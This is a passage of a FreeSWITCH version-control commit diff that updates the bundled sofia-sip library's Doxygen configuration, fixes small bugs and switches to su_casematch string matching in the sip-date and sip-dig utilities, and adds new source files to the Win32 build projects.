+# The PAPER_TYPE tag can be used to set the paper type that is used 
+# by the printer. Possible values are: a4, a4wide, letter, legal and 
+# executive. If left blank a4wide will be used.
+
+PAPER_TYPE             = a4wide
+
+# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX 
+# packages that should be included in the LaTeX output.
+
+EXTRA_PACKAGES         = 
+
+# The LATEX_HEADER tag can be used to specify a personal LaTeX header for 
+# the generated latex document. The header should contain everything until 
+# the first chapter. If it is left blank doxygen will generate a 
+# standard header. Notice: only use this tag if you know what you are doing!
+
+LATEX_HEADER           = 
+
+# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated 
+# is prepared for conversion to pdf (using ps2pdf). The pdf file will 
+# contain links (just like the HTML output) instead of page references 
+# This makes the output suitable for online browsing using a pdf viewer.
+
+PDF_HYPERLINKS         = YES
+
+# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of 
+# plain latex in the generated Makefile. Set this option to YES to get a 
+# higher quality PDF documentation.
+
+USE_PDFLATEX           = YES
+
+# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. 
+# command to the generated LaTeX files. This will instruct LaTeX to keep 
+# running if errors occur, instead of asking the user for help. 
+# This option is also used when generating formulas in HTML.
+
+LATEX_BATCHMODE        = NO
+
+# If LATEX_HIDE_INDICES is set to YES then doxygen will not 
+# include the index chapters (such as File Index, Compound Index, etc.) 
+# in the output.
+
+LATEX_HIDE_INDICES     = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the RTF output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output 
+# The RTF output is optimized for Word 97 and may not look very pretty with 
+# other RTF readers or editors.
+
+GENERATE_RTF           = NO
+
+# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `rtf' will be used as the default path.
+
+RTF_OUTPUT             = rtf
+
+# If the COMPACT_RTF tag is set to YES Doxygen generates more compact 
+# RTF documents. This may be useful for small projects and may help to 
+# save some trees in general.
+
+COMPACT_RTF            = NO
+
+# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated 
+# will contain hyperlink fields. The RTF file will 
+# contain links (just like the HTML output) instead of page references. 
+# This makes the output suitable for online browsing using WORD or other 
+# programs which support those fields. 
+# Note: wordpad (write) and others do not support links.
+
+RTF_HYPERLINKS         = NO
+
+# Load stylesheet definitions from file. Syntax is similar to doxygen's 
+# config file, i.e. a series of assignments. You only have to provide 
+# replacements, missing definitions are set to their default value.
+
+RTF_STYLESHEET_FILE    = 
+
+# Set optional variables used in the generation of an rtf document. 
+# Syntax is similar to doxygen's config file.
+
+RTF_EXTENSIONS_FILE    = 
+
+#---------------------------------------------------------------------------
+# configuration options related to the man page output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_MAN tag is set to YES (the default) Doxygen will 
+# generate man pages
+
+GENERATE_MAN           = YES
+
+# The MAN_OUTPUT tag is used to specify where the man pages will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `man' will be used as the default path.
+
+MAN_OUTPUT             = .
+
+# The MAN_EXTENSION tag determines the extension that is added to 
+# the generated man pages (default is the subroutine's section .3)
+
+MAN_EXTENSION          = .1
+
+# If the MAN_LINKS tag is set to YES and Doxygen generates man output, 
+# then it will generate one additional man file for each entity 
+# documented in the real man page(s). These additional files 
+# only source the real man page, but without them the man command 
+# would be unable to find the correct page. The default is NO.
+
+MAN_LINKS              = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the XML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_XML tag is set to YES Doxygen will 
+# generate an XML file that captures the structure of 
+# the code including all documentation.
+
+GENERATE_XML           = NO
+
+# The XML_OUTPUT tag is used to specify where the XML pages will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `xml' will be used as the default path.
+
+XML_OUTPUT             = xml
+
+# The XML_SCHEMA tag can be used to specify an XML schema, 
+# which can be used by a validating XML parser to check the 
+# syntax of the XML files.
+
+XML_SCHEMA             = 
+
+# The XML_DTD tag can be used to specify an XML DTD, 
+# which can be used by a validating XML parser to check the 
+# syntax of the XML files.
+
+XML_DTD                = 
+
+# If the XML_PROGRAMLISTING tag is set to YES Doxygen will 
+# dump the program listings (including syntax highlighting 
+# and cross-referencing information) to the XML output. Note that 
+# enabling this will significantly increase the size of the XML output.
+
+XML_PROGRAMLISTING     = YES
+
+#---------------------------------------------------------------------------
+# configuration options for the AutoGen Definitions output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will 
+# generate an AutoGen Definitions (see autogen.sf.net) file 
+# that captures the structure of the code including all 
+# documentation. Note that this feature is still experimental 
+# and incomplete at the moment.
+
+GENERATE_AUTOGEN_DEF   = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the Perl module output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_PERLMOD tag is set to YES Doxygen will 
+# generate a Perl module file that captures the structure of 
+# the code including all documentation. Note that this 
+# feature is still experimental and incomplete at the 
+# moment.
+
+GENERATE_PERLMOD       = NO
+
+# If the PERLMOD_LATEX tag is set to YES Doxygen will generate 
+# the necessary Makefile rules, Perl scripts and LaTeX code to be able 
+# to generate PDF and DVI output from the Perl module output.
+
+PERLMOD_LATEX          = NO
+
+# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be 
+# nicely formatted so it can be parsed by a human reader.  This is useful 
+# if you want to understand what is going on.  On the other hand, if this 
+# tag is set to NO the size of the Perl module output will be much smaller 
+# and Perl will parse it just the same.
+
+PERLMOD_PRETTY         = YES
+
+# The names of the make variables in the generated doxyrules.make file 
+# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. 
+# This is useful so different doxyrules.make files included by the same 
+# Makefile don't overwrite each other's variables.
+
+PERLMOD_MAKEVAR_PREFIX = 
+
+#---------------------------------------------------------------------------
+# Configuration options related to the preprocessor   
+#---------------------------------------------------------------------------
+
+# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will 
+# evaluate all C-preprocessor directives found in the sources and include 
+# files.
+
+ENABLE_PREPROCESSING   = NO
+
+# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro 
+# names in the source code. If set to NO (the default) only conditional 
+# compilation will be performed. Macro expansion can be done in a controlled 
+# way by setting EXPAND_ONLY_PREDEF to YES.
+
+MACRO_EXPANSION        = NO
+
+# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES 
+# then the macro expansion is limited to the macros specified with the 
+# PREDEFINED and EXPAND_AS_DEFINED tags.
+
+EXPAND_ONLY_PREDEF     = NO
+
+# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files 
+# in the INCLUDE_PATH (see below) will be search if a #include is found.
+
+SEARCH_INCLUDES        = YES
+
+# The INCLUDE_PATH tag can be used to specify one or more directories that 
+# contain include files that are not input files but should be processed by 
+# the preprocessor.
+
+INCLUDE_PATH           =  . @srcdir@
+
+# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard 
+# patterns (like *.h and *.hpp) to filter out the header-files in the 
+# directories. If left blank, the patterns specified with FILE_PATTERNS will 
+# be used.
+
+INCLUDE_FILE_PATTERNS  = 
+
+# The PREDEFINED tag can be used to specify one or more macro names that 
+# are defined before the preprocessor is started (similar to the -D option of 
+# gcc). The argument of the tag is a list of macros of the form: name 
+# or name=definition (no spaces). If the definition and the = are 
+# omitted =1 is assumed. To prevent a macro definition from being 
+# undefined via #undef or recursively expanded use the := operator 
+# instead of the = operator.
+
+PREDEFINED             = DOX \
+                         DOXYGEN_ONLY=1 \
+                         DOCUMENTATION_ONLY=1 \
+                         SU_HAVE_INLINE=1 \
+                         su_inline=inline \
+                         SOFIA_BEGIN_DECLS \
+                         SOFIA_END_DECLS \
+                         SOFIAPUBFUN \
+                         SOFIACALL \
+                         SOFIAPUBVAR=extern \
+                         SU_DLL \
+                         SIP_DLL \
+                         RTSP_DLL \
+                         SU_DLL \
+                         NTA_DLL \
+                         NUA_DLL \
+                         MSG_DLL \
+                         AUTH_DLL \
+                         NTH_DLL \
+                         HTTP_DLL \
+                         __attribute__()=
+
+# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then 
+# this tag can be used to specify a list of macro names that should be expanded. 
+# The macro definition that is found in the sources will be used. 
+# Use the PREDEFINED tag if you want to use a different macro definition.
+
+EXPAND_AS_DEFINED      = 
+
+# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then 
+# doxygen's preprocessor will remove all function-like macros that are alone 
+# on a line, have an all uppercase name, and do not end with a semicolon. Such 
+# function macros are typically used for boiler-plate code, and will confuse 
+# the parser if not removed.
+
+SKIP_FUNCTION_MACROS   = YES
+
+#---------------------------------------------------------------------------
+# Configuration::additions related to external references   
+#---------------------------------------------------------------------------
+
+# The TAGFILES option can be used to specify one or more tagfiles. 
+# Optionally an initial location of the external documentation 
+# can be added for each tagfile. The format of a tag file without 
+# this location is as follows: 
+#   TAGFILES = file1 file2 ... 
+# Adding location for the tag files is done as follows: 
+#   TAGFILES = file1=loc1 "file2 = loc2" ... 
+# where "loc1" and "loc2" can be relative or absolute paths or 
+# URLs. If a location is present for each tag, the installdox tool 
+# does not have to be run to correct the links.
+# Note that each tag file must have a unique name
+# (where the name does NOT include the path)
+# If a tag file is not located in the directory in which doxygen 
+# is run, you must also specify the path to the tagfile here.
+
+TAGFILES               = 
+
+# When a file name is specified after GENERATE_TAGFILE, doxygen will create 
+# a tag file that is based on the input files it reads.
+
+GENERATE_TAGFILE       = ../libsofia-sip-ua/docs/utils.doxytags
+
+# If the ALLEXTERNALS tag is set to YES all external classes will be listed 
+# in the class index. If set to NO only the inherited external classes 
+# will be listed.
+
+ALLEXTERNALS           = NO
+
+# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed 
+# in the modules index. If set to NO, only the current project's groups will 
+# be listed.
+
+EXTERNAL_GROUPS        = YES
+
+# The PERL_PATH should be the absolute path and name of the perl script 
+# interpreter (i.e. the result of `which perl').
+
+PERL_PATH              = /usr/bin/perl
+
+#---------------------------------------------------------------------------
+# Configuration options related to the dot tool   
+#---------------------------------------------------------------------------
+
+# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will 
+# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base 
+# or super classes. Setting the tag to NO turns the diagrams off. Note that 
+# this option is superseded by the HAVE_DOT option below. This is only a 
+# fallback. It is recommended to install and use dot, since it yields more 
+# powerful graphs.
+
+CLASS_DIAGRAMS         = YES
+
+# You can define message sequence charts within doxygen comments using the \msc 
+# command. Doxygen will then run the mscgen tool (see 
+# http://www.mcternan.me.uk/mscgen/) to produce the chart and insert it in the 
+# documentation. The MSCGEN_PATH tag allows you to specify the directory where 
+# the mscgen tool resides. If left empty the tool is assumed to be found in the 
+# default search path.
+
+MSCGEN_PATH            = 
+
+# If set to YES, the inheritance and collaboration graphs will hide 
+# inheritance and usage relations if the target is undocumented 
+# or is not a class.
+
+HIDE_UNDOC_RELATIONS   = YES
+
+# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is 
+# available from the path. This tool is part of Graphviz, a graph visualization 
+# toolkit from AT&T and Lucent Bell Labs. The other options in this section 
+# have no effect if this option is set to NO (the default)
+
+HAVE_DOT               = YES
+
+# By default doxygen will write a font called FreeSans.ttf to the output 
+# directory and reference it in all dot files that doxygen generates. This 
+# font does not include all possible unicode characters however, so when you need 
+# these (or just want a differently looking font) you can specify the font name 
+# using DOT_FONTNAME. You need need to make sure dot is able to find the font, 
+# which can be done by putting it in a standard location or by setting the 
+# DOTFONTPATH environment variable or by setting DOT_FONTPATH to the directory 
+# containing the font.
+
+DOT_FONTNAME           = FreeSans
+
+# The DOT_FONTSIZE tag can be used to set the size of the font of dot graphs. 
+# The default size is 10pt.
+
+DOT_FONTSIZE           = 10
+
+# By default doxygen will tell dot to use the output directory to look for the 
+# FreeSans.ttf font (which doxygen will put there itself). If you specify a 
+# different font using DOT_FONTNAME you can set the path where dot 
+# can find it using this tag.
+
+DOT_FONTPATH           = 
+
+# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen 
+# will generate a graph for each documented class showing the direct and 
+# indirect inheritance relations. Setting this tag to YES will force the 
+# the CLASS_DIAGRAMS tag to NO.
+
+CLASS_GRAPH            = YES
+
+# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen 
+# will generate a graph for each documented class showing the direct and 
+# indirect implementation dependencies (inheritance, containment, and 
+# class references variables) of the class with other documented classes.
+
+COLLABORATION_GRAPH    = YES
+
+# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen 
+# will generate a graph for groups, showing the direct groups dependencies
+
+GROUP_GRAPHS           = YES
+
+# If the UML_LOOK tag is set to YES doxygen will generate inheritance and 
+# collaboration diagrams in a style similar to the OMG's Unified Modeling 
+# Language.
+
+UML_LOOK               = NO
+
+# If set to YES, the inheritance and collaboration graphs will show the 
+# relations between templates and their instances.
+
+TEMPLATE_RELATIONS     = NO
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT 
+# tags are set to YES then doxygen will generate a graph for each documented 
+# file showing the direct and indirect include dependencies of the file with 
+# other documented files.
+
+INCLUDE_GRAPH          = NO
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and 
+# HAVE_DOT tags are set to YES then doxygen will generate a graph for each 
+# documented header file showing the documented files that directly or 
+# indirectly include this file.
+
+INCLUDED_BY_GRAPH      = NO
+
+# If the CALL_GRAPH and HAVE_DOT options are set to YES then 
+# doxygen will generate a call dependency graph for every global function 
+# or class method. Note that enabling this option will significantly increase 
+# the time of a run. So in most cases it will be better to enable call graphs 
+# for selected functions only using the \callgraph command.
+
+CALL_GRAPH             = NO
+
+# If the CALLER_GRAPH and HAVE_DOT tags are set to YES then 
+# doxygen will generate a caller dependency graph for every global function 
+# or class method. Note that enabling this option will significantly increase 
+# the time of a run. So in most cases it will be better to enable caller 
+# graphs for selected functions only using the \callergraph command.
+
+CALLER_GRAPH           = NO
+
+# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen 
+# will graphical hierarchy of all classes instead of a textual one.
+
+GRAPHICAL_HIERARCHY    = YES
+
+# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES 
+# then doxygen will show the dependencies a directory has on other directories 
+# in a graphical way. The dependency relations are determined by the #include
+# relations between the files in the directories.
+
+DIRECTORY_GRAPH        = YES
+
+# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images 
+# generated by dot. Possible values are png, jpg, or gif
+# If left blank png will be used.
+
+DOT_IMAGE_FORMAT       = png
+
+# The tag DOT_PATH can be used to specify the path where the dot tool can be 
+# found. If left blank, it is assumed the dot tool can be found in the path.
+
+DOT_PATH               = 
+
+# The DOTFILE_DIRS tag can be used to specify one or more directories that 
+# contain dot files that are included in the documentation (see the 
+# \dotfile command).
+
+DOTFILE_DIRS           = 
+
+# The DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of 
+# nodes that will be shown in the graph. If the number of nodes in a graph 
+# becomes larger than this value, doxygen will truncate the graph, which is 
+# visualized by representing a node as a red box. Note that doxygen if the 
+# number of direct children of the root node in a graph is already larger than 
+# DOT_GRAPH_MAX_NODES then the graph will not be shown at all. Also note 
+# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH.
+
+DOT_GRAPH_MAX_NODES    = 50
+
+# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the 
+# graphs generated by dot. A depth value of 3 means that only nodes reachable 
+# from the root by following a path via at most 3 edges will be shown. Nodes 
+# that lay further from the root node will be omitted. Note that setting this 
+# option to 1 or 2 may greatly reduce the computation time needed for large 
+# code bases. Also note that the size of a graph can be further restricted by 
+# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction.
+
+MAX_DOT_GRAPH_DEPTH    = 0
+
+# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent 
+# background. This is disabled by default, because dot on Windows does not 
+# seem to support this out of the box. Warning: Depending on the platform used, 
+# enabling this option may lead to badly anti-aliased labels on the edges of 
+# a graph (i.e. they become hard to read).
+
+DOT_TRANSPARENT        = NO
+
+# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output 
+# files in one run (i.e. multiple -o and -T options on the command line). This 
+# makes dot run faster, but since only newer versions of dot (>1.8.10) 
+# support this, this feature is disabled by default.
+
+DOT_MULTI_TARGETS      = NO
+
+# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will 
+# generate a legend page explaining the meaning of the various boxes and 
+# arrows in the dot generated graphs.
+
+GENERATE_LEGEND        = YES
+
+# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will 
+# remove the intermediate dot files that are used to generate 
+# the various graphs.
+
+DOT_CLEANUP            = YES
+
+#---------------------------------------------------------------------------
+# Configuration::additions related to the search engine   
+#---------------------------------------------------------------------------
+
+# The SEARCHENGINE tag specifies whether or not a search engine should be 
+# used. If set to NO the values of all tags below this one will be ignored.
+
+SEARCHENGINE           = NO

Modified: freeswitch/branches/seven/libs/sofia-sip/utils/sip-date.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/utils/sip-date.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/utils/sip-date.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -99,7 +99,7 @@
 int main(int ac, char *av[])
 {
   int numeric = 0;
-  sip_time_t t, t2;
+  sip_time_t t = 0, t2 = 0;
   char const *s;
   char buf[1024];
 
@@ -132,8 +132,6 @@
     }
     else {
       for (; *s; ) {
-	t2 = 0;
-
 	if (msg_delta_d(&s, &t2) < 0)
 	  usage();
 

Modified: freeswitch/branches/seven/libs/sofia-sip/utils/sip-dig.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/utils/sip-dig.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/utils/sip-dig.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -52,7 +52,6 @@
  * The @e sip-dig utility accepts following command line options:
  * <dl>
  * <dt>-p <em>protoname</em></dt>
-
  * <dd>Use named transport protocol. The <em>protoname</em> can be either
  * well-known, e.g., "udp", or it can specify NAPTR service and SRV
  * identifier, e.g., "tls-udp/SIPS+D2U/_sips._udp.".
@@ -141,6 +140,7 @@
 
 #include "sofia-sip/url.h"
 #include "sofia-sip/su_alloc.h"
+#include "sofia-sip/su_string.h"
 #include "sofia-sip/hostdomain.h"
 
 char const name[] = "sip-dig";
@@ -159,7 +159,7 @@
 
   unsigned preference, ip4, ip6, sips, print;
 
-  struct transport tports[N_TPORT];
+  struct transport tports[N_TPORT + 1];
 };
 
 int dig_naptr(struct dig *dig, char const *host, double weight);
@@ -303,7 +303,7 @@
     if (uri && uri->url_type == url_unknown)
       url_sanitize(uri);
 
-    if (uri->url_type == url_any)
+    if (uri && uri->url_type == url_any)
       continue;
 
     if (!uri || (uri->url_type != url_sip && uri->url_type != url_sips)) {
@@ -361,7 +361,7 @@
 
 int transport_is_secure(char const *tportname)
 {
-  return tportname && strncasecmp(tportname, "tls", 3) == 0;
+  return su_casenmatch(tportname, "tls", 3);
 }
 
 int prepare_transport(struct dig *dig, char const *tport)
@@ -369,10 +369,10 @@
   struct transport *tports = dig->tports;
   int j;
 
-  for (j = 0; j < N_TPORT - 1; j++) {
+  for (j = 0; j < N_TPORT; j++) {
     if (!tports[j].name)
       break;
-    if (strcasecmp(tports[j].name, tport) == 0)
+    if (su_casematch(tports[j].name, tport))
       return 1;
   }
 
@@ -402,27 +402,27 @@
     tports[j].service = service;
     tports[j].srv = srv;
   }
-  else if (strcasecmp(tport, "udp") == 0) {
+  else if (su_casematch(tport, "udp")) {
     tports[j].name = "udp";
     tports[j].service = "SIP+D2U";
     tports[j].srv = "_sip._udp.";
   }
-  else if (strcasecmp(tport, "tcp") == 0) {
+  else if (su_casematch(tport, "tcp")) {
     tports[j].name = "tcp";
     tports[j].service = "SIP+D2T";
     tports[j].srv = "_sip._tcp.";
   }
-  else if (strcasecmp(tport, "tls") == 0) {
+  else if (su_casematch(tport, "tls")) {
     tports[j].name = "tls";
     tports[j].service = "SIPS+D2T";
     tports[j].srv = "_sips._tcp.";
   }
-  else if (strcasecmp(tport, "sctp") == 0) {
+  else if (su_casematch(tport, "sctp")) {
     tports[j].name = "sctp";
     tports[j].service = "SIP+D2S";
     tports[j].srv = "_sip._sctp.";
   }
-  else if (strcasecmp(tport, "tls-sctp") == 0) {
+  else if (su_casematch(tport, "tls-sctp")) {
     tports[j].name = "tls-sctp";
     tports[j].service = "SIPS+D2S";
     tports[j].srv = "_sips._sctp.";
@@ -451,9 +451,9 @@
   for (i = 0; tports[i].name; i++) {
     if (dig->sips && !transport_is_secure(tports[i].name))
       continue;
-    if (!tport || strcasecmp(tport, tports[i].name) == 0)
+    if (!tport || su_casematch(tport, tports[i].name))
       tcount++;
-    if (tport2 && strcasecmp(tport2, tports[i].name) == 0)
+    else if (tport2 && su_casematch(tport2, tports[i].name))
       tcount++;
   }
 
@@ -466,7 +466,7 @@
   int i;
 
   for (i = 0; tports[i].name; i++) {
-    if (strcasecmp(tports[i].service, s) == 0)
+    if (su_casematch(tports[i].service, s))
       return tports + i;
   }
 
@@ -503,13 +503,13 @@
 	     na->na_flags, na->na_services,
 	     na->na_regexp, na->na_replace);
 
-    if (strcasecmp(na->na_flags, "s") && strcasecmp(na->na_flags, "a"))
+    if (!su_casematch(na->na_flags, "s") && !su_casematch(na->na_flags, "a"))
       continue;
 
     if (nacount && order != na->na_order)
       continue;
 
-    if (dig->sips && strncasecmp(na->na_services, "SIPS+", 5))
+    if (dig->sips && !su_casenmatch(na->na_services, "SIPS+", 5))
       continue;
 
     if (!transport_by_service(dig->tports, na->na_services))
@@ -530,19 +530,19 @@
       continue;
     if (order != na->na_order)
       continue;
-    if (strcasecmp(na->na_flags, "s") && strcasecmp(na->na_flags, "a"))
+    if (!su_casematch(na->na_flags, "s") && !su_casematch(na->na_flags, "a"))
       continue;
-    if (dig->sips && strncasecmp(na->na_services, "SIPS+", 5))
+    if (dig->sips && !su_casenmatch(na->na_services, "SIPS+", 5))
       continue;
 
     tp = transport_by_service(dig->tports, na->na_services);
     if (!tp)
       continue;
 
-    if (strcasecmp(na->na_flags, "s") == 0) {
+    if (su_casematch(na->na_flags, "s")) {
       scount = dig_srv(dig, tp->name, na->na_replace, weight / nacount);
     }
-    else if (strcasecmp(na->na_flags, "a") == 0) {
+    else if (su_casematch(na->na_flags, "a")) {
       scount = dig_addr(dig, tp->name, na->na_replace, NULL, weight / nacount);
     }
     else
@@ -572,7 +572,7 @@
     return 0;
 
   for (i = 0, n = 0; dig->tports[i].name; i++) {
-    if (tport && strcasecmp(dig->tports[i].name, tport))
+    if (tport && !su_casematch(dig->tports[i].name, tport))
       continue;
 
     if (dig->sips && !transport_is_secure(dig->tports[i].name))
@@ -799,9 +799,9 @@
     su_inet_ntop(af, &answers[i]->sr_a->a_addr, addr, sizeof addr);
 
     for (j = 0; tports[j].name; j++) {
-      if (strcasecmp(tport, tports[j].name) == 0)
+      if (su_casematch(tport, tports[j].name))
 	print_result(addr, port, tport, weight, preference);
-      if (tport2 && strcasecmp(tport2, tports[j].name) == 0)
+      if (su_casematch(tport2, tports[j].name))
 	print_result(addr, port, tport2, weight, preference);
     }
   }

Modified: freeswitch/branches/seven/libs/sofia-sip/win32/build_sources.cmd (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/win32/build_sources.cmd	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/win32/build_sources.cmd	2009-08-09 18:53:22 UTC (rev 14472)
@@ -119,6 +119,8 @@
 %CHECK%
 %TAG_AWK% NO_DLL=1 %P%/url/url_tag.c  < NUL
 %CHECK%
+%TAG_AWK% NO_DLL=1 %P%/su/su_tag.c  < NUL
+%CHECK%
 
 @GOTO end
 :failed

Modified: freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua/libsofia_sip_ua.dsp (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua/libsofia_sip_ua.dsp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua/libsofia_sip_ua.dsp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -531,6 +531,10 @@
 
 SOURCE="..\..\libsofia-sip-ua\sresolv\sresolv.c"
 # End Source File
+# Begin Source File
+
+SOURCE="..\..\libsofia-sip-ua\sresolv\sres_sip.c"
+# End Source File
 # End Group
 # Begin Group "nea"
 
@@ -713,6 +717,22 @@
 # End Source File
 # Begin Source File
 
+SOURCE="..\..\libsofia-sip-ua\nua\nua_client.c"
+# End Source File
+# Begin Source File
+
+SOURCE="..\..\libsofia-sip-ua\nua\nua_client.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\..\libsofia-sip-ua\nua\nua_server.c"
+# End Source File
+# Begin Source File
+
+SOURCE="..\..\libsofia-sip-ua\nua\nua_server.h"
+# End Source File
+# Begin Source File
+
 SOURCE="..\..\libsofia-sip-ua\nua\nua_subnotref.c"
 # End Source File
 # Begin Source File
@@ -1243,6 +1263,10 @@
 
 SOURCE="..\..\libsofia-sip-ua\sresolv\sofia-sip\sresolv.h"
 # End Source File
+# Begin Source File
+
+SOURCE="..\..\libsofia-sip-ua\sresolv\sofia-sip\sres_sip.h"
+# End Source File
 # End Group
 # Begin Group "nea headers"
 

Modified: freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua/libsofia_sip_ua.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua/libsofia_sip_ua.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua/libsofia_sip_ua.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2298,6 +2298,28 @@
 					</FileConfiguration>
 				</File>
 				<File
+					RelativePath="..\..\libsofia-sip-ua\sresolv\sres_sip.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+				</File>
+				<File
 					RelativePath="..\..\libsofia-sip-ua\sresolv\sresolv.c"
 					>
 					<FileConfiguration
@@ -3166,6 +3188,58 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\libsofia-sip-ua\nua\nua_client.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libsofia-sip-ua\nua\nua_client.h"
+					>
+				</File>
+				<File
+					RelativePath="..\..\libsofia-sip-ua\nua\nua_server.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libsofia-sip-ua\nua\nua_server.h"
+					>
+				</File>
+				<File
 					RelativePath="..\..\libsofia-sip-ua\nua\nua_subnotref.c"
 					>
 					<FileConfiguration
@@ -4228,6 +4302,11 @@
 					RelativePath="..\..\libsofia-sip-ua\sresolv\sofia-sip\sresolv.h"
 					>
 				</File>
+				</File>
+				<File
+					RelativePath="..\..\libsofia-sip-ua\sresolv\sofia-sip\sres_sip.h"
+					>
+				</File>
 			</Filter>
 			<Filter
 				Name="nea headers"

Modified: freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua-static/libsofia_sip_ua_static.dsp (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua-static/libsofia_sip_ua_static.dsp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua-static/libsofia_sip_ua_static.dsp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -341,7 +341,7 @@
 # End Source File
 # Begin Source File
 
-SOURCE="..\..\libsofia-sip-ua\su\strcasestr.c"
+SOURCE="..\..\libsofia-sip-ua\su\su_string.c"
 # End Source File
 # Begin Source File
 
@@ -515,6 +515,10 @@
 
 SOURCE="..\..\libsofia-sip-ua\sresolv\sresolv.c"
 # End Source File
+# Begin Source File
+
+SOURCE="..\..\libsofia-sip-ua\sresolv\sres_sip.c"
+# End Source File
 # End Group
 # Begin Group "nea"
 
@@ -697,6 +701,22 @@
 # End Source File
 # Begin Source File
 
